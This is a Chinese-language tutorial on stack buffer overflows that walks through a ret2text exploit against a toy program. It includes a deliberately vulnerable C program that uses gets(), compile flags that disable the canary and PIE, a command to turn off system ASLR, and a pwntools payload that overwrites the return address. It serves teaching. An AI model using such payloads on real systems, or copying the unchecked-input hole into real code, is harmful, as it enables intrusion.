栈溢出原理

由于C语言对数组引用不做任何边界检查 ,从而导致缓冲区溢出。

栈没有保护,指针可以通过传入的参数的大小,一直基于基地址往上指。

缓冲区溢出:

  • 栈溢出
    • 栈上保存着局部变量和一些状态信息(寄存器值,返回地址…)
    • 发生了溢出就可以做到随意的该这些状态信息。并且攻击者可以通过覆写返回地址来执行代码,利用方法包括shellcode注入,ret2text,ret2libc ,ROP…
  • 堆溢出

实现

  • 首先你得能在栈上写数据
  • 写入的数据大小没有被检测或者未被检测到
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char** argv) {
vulnerable();
return 0;
}

gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(PositionIndependent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有–enable-default-pie参数则代表 PIE 默认已开启,

需要在编译指令中添加参数-no-pie。通过漏洞达到执行success函数

1
gcc -m32 -fno-stack-protector test.c

提到编译时的 PIE 保护,Linux 平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。我们可以通过修改 /proc/sys/kernel/randomize_va_space来控制 ASLR 启动与否,具体的选项有

  • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。

  • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。

  • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。

为了降低后续漏洞利用复杂度,我们这里关闭 ASLR,在编译时关闭 PIE。当然读者也可以尝试 ASLR、PIE 开关的不同组合,配合 IDA 及其动态调试功能观察程序地址变化情况(在 ASLR 关闭、PIE 开启时也可以攻击成功)

可以用checksec 来检测一下

image-20230529000258749

我们用IDA来看看

1
2
3
4
5
6
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}

发现这个ebp的长度是0x14;

这里bp的长度是0x20

那么栈的结果就是:

image-20230528235448813

并且,我们可以通过 IDA 获得 success 的地址,其地址为 0x0804843B。

1
2
3
4
5
6
7
8
9
10
11
12
.text:0804843B success proc near
.text:0804843B push ebp
.text:0804843C mov ebp, esp
.text:0804843E sub esp, 8
.text:08048441 sub esp, 0Ch
.text:08048444 push offset s ; "You Hava alreadycontrolled it."
.text:08048449 call _puts
.text:0804844E add esp, 10h
.text:08048451 nop
.text:08048452 leave
.text:08048453 retn
.text:08048453 success endp

那么如果我们读取的字符串为

1
0x14*'a'+'bbbb'+success_addr

那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为

image-20230528235535625

但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804843B 在内存中的形式是 \x3b\x84\x04\x08

但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \,x 等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了(关于如何安装以及基本用法,请自行 github),这里利用 pwntools 的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
##这个'a'*14 是栈原本的大小,放入垃圾数据a,把传入的栈的全部填充
##+'bbbb'是把旧的ebp的位置覆盖掉。
##p32(success_addr) 是把返回的地址改成自己想要的地址。
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()